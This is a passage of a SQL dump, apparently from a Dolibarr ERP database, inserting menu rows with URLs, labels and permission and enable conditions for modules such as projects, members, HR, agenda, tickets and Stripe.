15:14:30'),(164689,'auguria',1,'','left','project',164687,NULL,NULL,2,'/projet/list.php?leftmenu=projects','','List',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(164690,'auguria',1,'','left','project',164687,NULL,NULL,3,'/projet/stats/index.php?leftmenu=projects','','Statistics',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled',2,'2017-08-30 15:14:30'),(164787,'auguria',1,'','left','project',161094,NULL,NULL,0,'/projet/activity/index.php?leftmenu=projects','','Activities',NULL,'projects',0,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164788,'auguria',1,'','left','project',164787,NULL,NULL,1,'/projet/tasks.php?leftmenu=projects&action=create','','NewTask',NULL,'projects',1,'','$user->rights->projet->creer','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164789,'auguria',1,'','left','project',164787,NULL,NULL,2,'/projet/tasks/list.php?leftmenu=projects','','List',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164791,'auguria',1,'','left','project',164787,NULL,NULL,4,'/projet/tasks/stats/index.php?leftmenu=projects','','Statistics',NULL,'projects',1,'','$user->rights->projet->lire','$conf->projet->enabled && $conf->global->PROJECT_USE_TASKS',2,'2017-08-30 15:14:30'),(164891,'auguria',1,'','left','project',161094,NULL,NULL,4,'/categories/index.php?leftmenu=cat&type=6','','Categories',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164892,'auguria',1,'','left','project',164891,NULL,NULL,0,'/categories/card.php?action=create&type=6','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->categorie->enabled',2,'2017-08-30 15:14:30'),(164987,'auguria',1,'','left','tools',161095,NULL,NULL,0,'/comm/mailing/index.php?leftmenu=mailing','','EMailings',NULL,'mails',0,'mailing','$user->rights->mailing->lire','$conf->mailing->enabled',0,'2017-08-30 15:14:30'),(164988,'auguria',1,'','left','tools',164987,NULL,NULL,0,'/comm/mailing/card.php?leftmenu=mailing&action=create','','NewMailing',NULL,'mails',1,'','$user->rights->mailing->creer','$conf->mailing->enabled',0,'2017-08-30 15:14:30'),(164989,'auguria',1,'','left','tools',164987,NULL,NULL,1,'/comm/mailing/list.php?leftmenu=mailing','','List',NULL,'mails',1,'','$user->rights->mailing->lire','$conf->mailing->enabled',0,'2017-08-30 15:14:30'),(165187,'auguria',1,'','left','tools',161095,NULL,NULL,2,'/exports/index.php?leftmenu=export','','FormatedExport',NULL,'exports',0,'export','$user->rights->export->lire','$conf->export->enabled',2,'2017-08-30 15:14:30'),(165188,'auguria',1,'','left','tools',165187,NULL,NULL,0,'/exports/export.php?leftmenu=export','','NewExport',NULL,'exports',1,'','$user->rights->export->creer','$conf->export->enabled',2,'2017-08-30 15:14:30'),(165217,'auguria',1,'','left','tools',161095,NULL,NULL,2,'/imports/index.php?leftmenu=import','','FormatedImport',NULL,'exports',0,'import','$user->rights->import->run','$conf->import->enabled',2,'2017-08-30 15:14:30'),(165218,'auguria',1,'','left','tools',165217,NULL,NULL,0,'/imports/import.php?leftmenu=import','','NewImport',NULL,'exports',1,'','$user->rights->import->run','$conf->import->enabled',2,'2017-08-30 15:14:30'),(165287,'auguria',1,'','left','members',161100,NULL,NULL,0,'/adherents/index.php?leftmenu=members&mainmenu=members','','Members',NULL,'members',0,'members','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165288,'auguria',1,'','left','members',165287,NULL,NULL,0,'/adherents/card.php?leftmenu=members&action=create','','NewMember',NULL,'members',1,'','$user->rights->adherent->creer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165289,'auguria',1,'','left','members',165287,NULL,NULL,1,'/adherents/list.php','','List',NULL,'members',1,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165290,'auguria',1,'','left','members',165289,NULL,NULL,2,'/adherents/list.php?leftmenu=members&statut=-1','','MenuMembersToValidate',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165291,'auguria',1,'','left','members',165289,NULL,NULL,3,'/adherents/list.php?leftmenu=members&statut=1','','MenuMembersValidated',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165292,'auguria',1,'','left','members',165289,NULL,NULL,4,'/adherents/list.php?leftmenu=members&statut=1&filter=outofdate','','MenuMembersNotUpToDate',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165293,'auguria',1,'','left','members',165289,NULL,NULL,5,'/adherents/list.php?leftmenu=members&statut=1&filter=uptodate','','MenuMembersUpToDate',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165294,'auguria',1,'','left','members',165289,NULL,NULL,6,'/adherents/list.php?leftmenu=members&statut=0','','MenuMembersResiliated',NULL,'members',2,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165295,'auguria',1,'','left','members',165287,NULL,NULL,7,'/adherents/stats/geo.php?leftmenu=members&mode=memberbycountry','','MenuMembersStats',NULL,'members',1,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165387,'auguria',1,'','left','members',161100,NULL,NULL,1,'/adherents/index.php?leftmenu=members&mainmenu=members','','Subscriptions',NULL,'compta',0,'','$user->rights->adherent->cotisation->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165388,'auguria',1,'','left','members',165387,NULL,NULL,0,'/adherents/list.php?statut=-1&leftmenu=accountancy&mainmenu=members','','NewSubscription',NULL,'compta',1,'','$user->rights->adherent->cotisation->creer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165389,'auguria',1,'','left','members',165387,NULL,NULL,1,'/adherents/subscription/list.php?leftmenu=members','','List',NULL,'compta',1,'','$user->rights->adherent->cotisation->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165390,'auguria',1,'','left','members',165387,NULL,NULL,7,'/adherents/stats/index.php?leftmenu=members','','MenuMembersStats',NULL,'members',1,'','$user->rights->adherent->lire','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165589,'auguria',1,'','left','members',165287,NULL,NULL,9,'/adherents/htpasswd.php?leftmenu=export','','Filehtpasswd',NULL,'members',1,'','$user->rights->adherent->export','! empty($conf->global->MEMBER_LINK_TO_HTPASSWDFILE) && $conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165590,'auguria',1,'','left','members',165287,NULL,NULL,10,'/adherents/cartes/carte.php?leftmenu=export','','MembersCards',NULL,'members',1,'','$user->rights->adherent->export','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165687,'auguria',1,'','left','hrm',161102,NULL,NULL,1,'/user/index.php?leftmenu=hrm&mode=employee','','Employees',NULL,'hrm',0,'hrm','$user->rights->hrm->employee->read','$conf->hrm->enabled',0,'2017-08-30 15:14:30'),(165688,'auguria',1,'','left','hrm',165687,NULL,NULL,1,'/user/card.php?action=create&employee=1','','NewEmployee',NULL,'hrm',1,'','$user->rights->hrm->employee->write','$conf->hrm->enabled',0,'2017-08-30 15:14:30'),(165689,'auguria',1,'','left','hrm',165687,NULL,NULL,2,'/user/index.php?$leftmenu=hrm&mode=employee&contextpage=employeelist','','List',NULL,'hrm',1,'','$user->rights->hrm->employee->read','$conf->hrm->enabled',0,'2017-08-30 15:14:30'),(165787,'auguria',1,'','left','members',161100,NULL,NULL,5,'/adherents/type.php?leftmenu=setup&mainmenu=members','','MembersTypes',NULL,'members',0,'setup','$user->rights->adherent->configurer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165788,'auguria',1,'','left','members',165787,NULL,NULL,0,'/adherents/type.php?leftmenu=setup&mainmenu=members&action=create','','New',NULL,'members',1,'','$user->rights->adherent->configurer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(165789,'auguria',1,'','left','members',165787,NULL,NULL,1,'/adherents/type.php?leftmenu=setup&mainmenu=members','','List',NULL,'members',1,'','$user->rights->adherent->configurer','$conf->adherent->enabled',2,'2017-08-30 15:14:30'),(166087,'auguria',1,'','left','hrm',161102,NULL,NULL,1,'/holiday/list.php?&leftmenu=hrm','','CPTitreMenu',NULL,'holiday',0,'hrm','$user->rights->holiday->read','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166088,'auguria',1,'','left','hrm',166087,NULL,NULL,1,'/holiday/card.php?&action=request','','MenuAddCP',NULL,'holiday',1,'','$user->rights->holiday->write','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166089,'auguria',1,'','left','hrm',166087,NULL,NULL,1,'/holiday/list.php?&leftmenu=hrm','','List',NULL,'holiday',1,'','$user->rights->holiday->read','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166090,'auguria',1,'','left','hrm',166089,NULL,NULL,1,'/holiday/list.php?select_statut=2&leftmenu=hrm','','ListToApprove',NULL,'trips',2,'','$user->rights->holiday->read','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166091,'auguria',1,'','left','hrm',166087,NULL,NULL,2,'/holiday/define_holiday.php?&action=request','','MenuConfCP',NULL,'holiday',1,'','$user->rights->holiday->define_holiday','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166092,'auguria',1,'','left','hrm',166087,NULL,NULL,3,'/holiday/view_log.php?&action=request','','MenuLogCP',NULL,'holiday',1,'','$user->rights->holiday->define_holiday','$conf->holiday->enabled',0,'2017-08-30 15:14:30'),(166187,'auguria',1,'','left','commercial',161092,NULL,NULL,6,'/fourn/commande/index.php?leftmenu=orders_suppliers','','SuppliersOrders',NULL,'orders',0,'orders_suppliers','$user->rights->fournisseur->commande->lire','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166188,'auguria',1,'','left','commercial',166187,NULL,NULL,0,'/fourn/commande/card.php?action=create&leftmenu=orders_suppliers','','NewOrder',NULL,'orders',1,'','$user->rights->fournisseur->commande->creer','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166189,'auguria',1,'','left','commercial',166187,NULL,NULL,1,'/fourn/commande/list.php?leftmenu=orders_suppliers&search_status=0','','List',NULL,'orders',1,'','$user->rights->fournisseur->commande->lire','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166195,'auguria',1,'','left','commercial',166187,NULL,NULL,7,'/commande/stats/index.php?leftmenu=orders_suppliers&mode=supplier','','Statistics',NULL,'orders',1,'','$user->rights->fournisseur->commande->lire','$conf->supplier_order->enabled',2,'2017-08-30 15:14:30'),(166287,'auguria',1,'','left','members',161100,NULL,NULL,3,'/categories/index.php?leftmenu=cat&type=3','','MembersCategoriesShort',NULL,'categories',0,'cat','$user->rights->categorie->lire','$conf->adherent->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(166288,'auguria',1,'','left','members',166287,NULL,NULL,0,'/categories/card.php?action=create&type=3','','NewCategory',NULL,'categories',1,'','$user->rights->categorie->creer','$conf->adherent->enabled && $conf->categorie->enabled',2,'2017-08-30 15:14:30'),(166387,'auguria',1,'','left','hrm',161102,NULL,NULL,5,'/expensereport/index.php?leftmenu=expensereport','','TripsAndExpenses',NULL,'trips',0,'expensereport','$user->rights->expensereport->lire','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166388,'auguria',1,'','left','hrm',166387,NULL,NULL,1,'/expensereport/card.php?action=create&leftmenu=expensereport','','New',NULL,'trips',1,'','$user->rights->expensereport->creer','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166389,'auguria',1,'','left','hrm',166387,NULL,NULL,2,'/expensereport/list.php?leftmenu=expensereport','','List',NULL,'trips',1,'','$user->rights->expensereport->lire','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166390,'auguria',1,'','left','hrm',166389,NULL,NULL,2,'/expensereport/list.php?search_status=2&leftmenu=expensereport','','ListToApprove',NULL,'trips',2,'','$user->rights->expensereport->approve','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(166391,'auguria',1,'','left','hrm',166387,NULL,NULL,2,'/expensereport/stats/index.php?leftmenu=expensereport','','Statistics',NULL,'trips',1,'','$user->rights->expensereport->lire','$conf->expensereport->enabled',0,'2017-08-30 15:14:30'),(167182,'all',1,'knowledgemanagement','left','ticket',-1,NULL,'ticket',101,'/knowledgemanagement/knowledgerecord_list.php','','MenuKnowledgeRecord','','knowledgemanagement',NULL,'knowledgemanagement_knowledgerecord','$user->rights->knowledgemanagement->knowledgerecord->read','$conf->knowledgemanagement->enabled',2,'2022-02-07 13:39:27'),(167183,'all',1,'knowledgemanagement','left','ticket',-1,'knowledgemanagement_knowledgerecord','ticket',111,'/knowledgemanagement/knowledgerecord_list.php','','ListKnowledgeRecord','','knowledgemanagement',NULL,'knowledgemanagement_list','$user->rights->knowledgemanagement->knowledgerecord->read','$conf->knowledgemanagement->enabled',2,'2022-02-07 13:39:27'),(167184,'all',1,'knowledgemanagement','left','ticket',-1,'knowledgemanagement_knowledgerecord','ticket',110,'/knowledgemanagement/knowledgerecord_card.php?action=create','','NewKnowledgeRecord','','knowledgemanagement',NULL,'knowledgemanagement_new','$user->rights->knowledgemanagement->knowledgerecord->write','$conf->knowledgemanagement->enabled',2,'2022-02-07 13:39:27'),(167185,'all',1,'knowledgemanagement','left','ticket',-1,'knowledgemanagement_knowledgerecord','ticket',112,'/categories/index.php?type=13','','Categories','','knowledgemanagement',NULL,NULL,'$user->rights->knowledgemanagement->knowledgerecord->read','$conf->knowledgemanagement->enabled',0,'2022-02-07 13:39:27'),(167283,'all',1,'agenda','top','agenda',0,NULL,NULL,86,'/comm/action/index.php','','TMenuAgenda','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read || $user->rights->resource->read','$conf->agenda->enabled || $conf->resource->enabled',2,'2022-07-05 08:07:11'),(167284,'all',1,'agenda','left','agenda',167283,NULL,NULL,100,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda','','Actions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167285,'all',1,'agenda','left','agenda',167284,NULL,NULL,101,'/comm/action/card.php?mainmenu=agenda&leftmenu=agenda&action=create','','NewAction','','commercial',NULL,NULL,'($user->rights->agenda->myactions->create||$user->rights->agenda->allactions->create)','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167286,'all',1,'agenda','left','agenda',167284,NULL,NULL,140,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda','','Calendar','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167287,'all',1,'agenda','left','agenda',167286,NULL,NULL,141,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167288,'all',1,'agenda','left','agenda',167286,NULL,NULL,142,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167289,'all',1,'agenda','left','agenda',167286,NULL,NULL,143,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=todo&filtert=-1','','MenuToDoActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2022-07-05 08:07:11'),(167290,'all',1,'agenda','left','agenda',167286,NULL,NULL,144,'/comm/action/index.php?action=default&mainmenu=agenda&leftmenu=agenda&status=done&filtert=-1','','MenuDoneActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2022-07-05 08:07:11'),(167291,'all',1,'agenda','left','agenda',167284,NULL,NULL,110,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda','','List','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167292,'all',1,'agenda','left','agenda',167291,NULL,NULL,111,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167293,'all',1,'agenda','left','agenda',167291,NULL,NULL,112,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions','','agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167294,'all',1,'agenda','left','agenda',167291,NULL,NULL,113,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=todo&filtert=-1','','MenuToDoActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2022-07-05 08:07:11'),(167295,'all',1,'agenda','left','agenda',167291,NULL,NULL,114,'/comm/action/list.php?mode=show_list&mainmenu=agenda&leftmenu=agenda&status=done&filtert=-1','','MenuDoneActions','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2022-07-05 08:07:11'),(167296,'all',1,'agenda','left','agenda',167284,NULL,NULL,160,'/comm/action/rapport/index.php?mainmenu=agenda&leftmenu=agenda','','Reportings','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$conf->agenda->enabled',2,'2022-07-05 08:07:11'),(167297,'all',1,'agenda','left','agenda',167284,NULL,NULL,170,'/categories/index.php?mainmenu=agenda&leftmenu=agenda&type=10','','Categories','','agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$conf->categorie->enabled',2,'2022-07-05 08:07:11'),(167298,'all',1,'barcode','left','tools',-1,NULL,'tools',200,'/barcode/printsheet.php?mainmenu=tools&leftmenu=barcodeprint','','BarCodePrintsheet','','products',NULL,'barcodeprint','($conf->global->MAIN_USE_ADVANCED_PERMS && $user->rights->barcode->lire_advance) || (! $conf->global->MAIN_USE_ADVANCED_PERMS)','$conf->barcode->enabled',0,'2022-07-05 08:07:11'),(167299,'all',1,'barcode','left','home',-1,'admintools','home',300,'/barcode/codeinit.php?mainmenu=home&leftmenu=admintools','','MassBarcodeInit','','products',NULL,NULL,'($conf->global->MAIN_USE_ADVANCED_PERMS && $user->rights->barcode->creer_advance) || (! $conf->global->MAIN_USE_ADVANCED_PERMS)','$conf->barcode->enabled && preg_match(\'/^(admintools|all)/\',$leftmenu)',0,'2022-07-05 08:07:11'),(167300,'all',1,'cron','left','home',-1,'admintools','home',200,'/cron/list.php?leftmenu=admintools','','CronList','','cron',NULL,NULL,'$user->rights->cron->read','$conf->cron->enabled && preg_match(\'/^(admintools|all)/\', $leftmenu)',2,'2022-07-05 08:07:11'),(167301,'all',1,'blockedlog','left','tools',-1,NULL,'tools',200,'/blockedlog/admin/blockedlog_list.php?mainmenu=tools&leftmenu=blockedlogbrowser','','BrowseBlockedLog','','blockedlog',NULL,'blockedlogbrowser','$user->rights->blockedlog->read','$conf->blockedlog->enabled',2,'2022-07-05 08:07:11'),(167302,'all',1,'ecm','top','ecm',0,NULL,NULL,82,'/ecm/index.php','','MenuECM','','ecm',NULL,NULL,'$user->rights->ecm->read || $user->rights->ecm->upload || $user->rights->ecm->setup','$conf->ecm->enabled',2,'2022-07-05 08:07:11'),(167303,'all',1,'ecm','left','ecm',-1,NULL,'ecm',101,'/ecm/index.php?mainmenu=ecm&leftmenu=ecm','','ECMArea','','ecm',NULL,'ecm','$user->rights->ecm->read || $user->rights->ecm->upload','$user->rights->ecm->read || $user->rights->ecm->upload',2,'2022-07-05 08:07:11'),(167304,'all',1,'ecm','left','ecm',-1,'ecm','ecm',102,'/ecm/index.php?action=file_manager&mainmenu=ecm&leftmenu=ecm','','ECMSectionsManual','','ecm',NULL,'ecm_manual','$user->rights->ecm->read || $user->rights->ecm->upload','$user->rights->ecm->read || $user->rights->ecm->upload',2,'2022-07-05 08:07:11'),(167305,'all',1,'ecm','left','ecm',-1,'ecm','ecm',103,'/ecm/index_auto.php?action=file_manager&mainmenu=ecm&leftmenu=ecm','','ECMSectionsAuto','','ecm',NULL,NULL,'$user->rights->ecm->read || $user->rights->ecm->upload','($user->rights->ecm->read || $user->rights->ecm->upload) && ! empty($conf->global->ECM_AUTO_TREE_ENABLED)',2,'2022-07-05 08:07:11'),(167306,'all',1,'margins','left','billing',-1,NULL,'billing',100,'/margin/index.php','','Margins','','margins',NULL,'margins','$user->rights->margins->liretous','$conf->margin->enabled',2,'2022-07-05 08:07:11'),(167307,'all',1,'opensurvey','left','tools',-1,NULL,'tools',200,'/opensurvey/index.php?mainmenu=tools&leftmenu=opensurvey','','Survey','','opensurvey',NULL,'opensurvey','$user->rights->opensurvey->read','$conf->opensurvey->enabled',0,'2022-07-05 08:07:12'),(167308,'all',1,'opensurvey','left','tools',-1,'opensurvey','tools',210,'/opensurvey/wizard/index.php','','NewSurvey','','opensurvey',NULL,'opensurvey_new','$user->rights->opensurvey->write','$conf->opensurvey->enabled',0,'2022-07-05 08:07:12'),(167309,'all',1,'opensurvey','left','tools',-1,'opensurvey','tools',220,'/opensurvey/list.php','','List','','opensurvey',NULL,'opensurvey_list','$user->rights->opensurvey->read','$conf->opensurvey->enabled',0,'2022-07-05 08:07:12'),(167310,'all',1,'printing','left','home',-1,'admintools','home',300,'/printing/index.php?mainmenu=home&leftmenu=admintools','','MenuDirectPrinting','','printing',NULL,NULL,'$user->rights->printing->read','$conf->printing->enabled && preg_match(\'/^(admintools|all)/\', $leftmenu)',0,'2022-07-05 08:07:12'),(167311,'all',1,'recruitment','left','hrm',-1,NULL,'hrm',1001,'/recruitment/recruitmentindex.php','','Recruitment','','recruitment',NULL,'recruitmentjobposition','$user->rights->recruitment->recruitmentjobposition->read','$conf->recruitment->enabled',2,'2022-07-05 08:07:12'),(167312,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1002,'/recruitment/recruitmentjobposition_card.php?action=create','','NewPositionToBeFilled','','recruitment',NULL,'recruitment_recruitmentjobposition_new','$user->rights->recruitment->recruitmentjobposition->write','$conf->recruitment->enabled',2,'2022-07-05 08:07:12'),(167313,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1003,'/recruitment/recruitmentjobposition_list.php','','ListOfPositionsToBeFilled','','recruitment',NULL,'recruitment_recruitmentjobposition_list','$user->rights->recruitment->recruitmentjobposition->read','$conf->recruitment->enabled',2,'2022-07-05 08:07:12'),(167314,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1004,'/recruitment/recruitmentcandidature_card.php?action=create','','NewCandidature','','recruitment',NULL,'recruitment_recruitmentcandidature_new','$user->rights->recruitment->recruitmentjobposition->write','$conf->recruitment->enabled',2,'2022-07-05 08:07:12'),(167315,'all',1,'recruitment','left','hrm',-1,'recruitmentjobposition','hrm',1005,'/recruitment/recruitmentcandidature_list.php','','ListOfCandidatures','','recruitment',NULL,'recruitment_recruitmentcandidature_list','$user->rights->recruitment->recruitmentjobposition->read','$conf->recruitment->enabled',2,'2022-07-05 08:07:12'),(167316,'all',1,'resource','left','agenda',-1,NULL,'agenda',100,'/resource/list.php','','MenuResourceIndex','','resource',NULL,'resource','$user->rights->resource->read','1',0,'2022-07-05 08:07:12'),(167317,'all',1,'resource','left','agenda',-1,'resource','agenda',101,'/resource/card.php?action=create','','MenuResourceAdd','','resource',NULL,'resource_add','$user->rights->resource->write','1',0,'2022-07-05 08:07:12'),(167318,'all',1,'resource','left','agenda',-1,'resource','agenda',102,'/resource/list.php','','List','','resource',NULL,'resource_list','$user->rights->resource->read','1',0,'2022-07-05 08:07:12'),(167319,'all',1,'stripe','left','bank',-1,NULL,'bank',100,'','','StripeAccount','','stripe',NULL,'stripe','$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2022-07-05 08:07:12'),(167320,'all',1,'stripe','left','bank',-1,'stripe','bank',102,'/stripe/charge.php','','StripeChargeList','','stripe',NULL,NULL,'$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2022-07-05 08:07:12'),(167321,'all',1,'stripe','left','bank',-1,'stripe','bank',102,'/stripe/transaction.php','','StripeTransactionList','','stripe',NULL,NULL,'$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2022-07-05 08:07:12'),(167322,'all',1,'stripe','left','bank',-1,'stripe','bank',103,'/stripe/payout.php','','StripePayoutList','','stripe',NULL,NULL,'$user->rights->banque->lire','$conf->stripe->enabled && $conf->banque->enabled && $conf->global->MAIN_FEATURES_LEVEL >= 1',0,'2022-07-05 08:07:12'),(167323,'all',1,'ticket','left','ticket',-1,NULL,'ticket',101,'/ticket/index.php','','Ticket','','ticket',NULL,'ticket','$user->rights->ticket->read','$conf->ticket->enabled',2,'2022-07-05 08:07:12'),(167324,'all',1,'ticket','left','ticket',-1,'ticket','ticket',102,'/ticket/card.php?action=create','','NewTicket','','ticket',NULL,NULL,'$user->rights->ticket->write','$conf->ticket->enabled',2,'2022-07-05 08:07:12'),(167325,'all',1,'ticket','left','ticket',-1,'ticket','ticket',103,'/ticket/list.php?search_fk_status=non_closed','','List','','ticket',NULL,'ticketlist','$user->rights->ticket->read','$conf->ticket->enabled',2,'2022-07-05 08:07:12'),(167326,'all',1,'ticket','left','ticket',-1,'ticket','ticket',105,'/ticket/list.php?mode=mine&search_fk_status=non_closed','','MenuTicketMyAssign','','ticket',NULL,'ticketmy','$user->rights->ticket->read','$conf->ticket->enabled',0,'2022-07-05 08:07:12'),(167327,'all',1,'ticket','left','ticket',-1,'ticket','ticket',107,'/ticket/stats/index.php','','Statistics','','ticket',NULL,NULL,'$user->rights->ticket->read','$conf->ticket->enabled',0,'2022-07-05 08:07:12'),(167328,'all',1,'ticket','left','ticket',-1,'ticket','ticket',107,'/categories/index.php?type=12','','Categories','','ticket',NULL,NULL,'$user->rights->ticket->read','$conf->categorie->enabled',0,'2022-07-05 08:07:12'),(167329,'all',1,'takepos','top','takepos',0,NULL,NULL,1001,'/takepos/index.php','takepos','PointOfSaleShort','','cashdesk',NULL,NULL,'$user->rights->takepos->run','$conf->takepos->enabled',2,'2022-07-05 08:07:12'),(167330,'all',1,'website','top','website',0,NULL,NULL,100,'/website/index.php','','WebSites','','website',NULL,NULL,'$user->rights->website->read','$conf->website->enabled',2,'2022-07-05 08:07:13'); +INSERT INTO `llx_menu` VALUES (103094,'all',2,'agenda','top','agenda',0,NULL,NULL,100,'/comm/action/index.php','','Agenda',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103095,'all',2,'agenda','left','agenda',103094,NULL,NULL,100,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda','','Actions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103096,'all',2,'agenda','left','agenda',103095,NULL,NULL,101,'/comm/action/card.php?mainmenu=agenda&leftmenu=agenda&action=create','','NewAction',NULL,'commercial',NULL,NULL,'($user->rights->agenda->myactions->create||$user->rights->agenda->allactions->create)','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103097,'all',2,'agenda','left','agenda',103095,NULL,NULL,102,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda','','Calendar',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103098,'all',2,'agenda','left','agenda',103097,NULL,NULL,103,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=todo&filter=mine','','MenuToDoMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103099,'all',2,'agenda','left','agenda',103097,NULL,NULL,104,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=done&filter=mine','','MenuDoneMyActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 15:29:19'),(103100,'all',2,'agenda','left','agenda',103097,NULL,NULL,105,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=todo','','MenuToDoActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103101,'all',2,'agenda','left','agenda',103097,NULL,NULL,106,'/comm/action/index.php?mainmenu=agenda&leftmenu=agenda&status=done','','MenuDoneActions',NULL,'agenda',NULL,NULL,'$user->rights->agenda->allactions->read','$user->rights->agenda->allactions->read',2,'2015-03-13 15:29:19'),(103102,'all',2,'agenda','left','agenda',103095,NULL,NULL,112,'/comm/action/listactions.php?mainmenu=agenda&leftmenu=agenda','','List',NULL,'agenda',NULL,NULL,'$user->rights->agenda->myactions->read','$conf->agenda->enabled',2,'2015-03-13 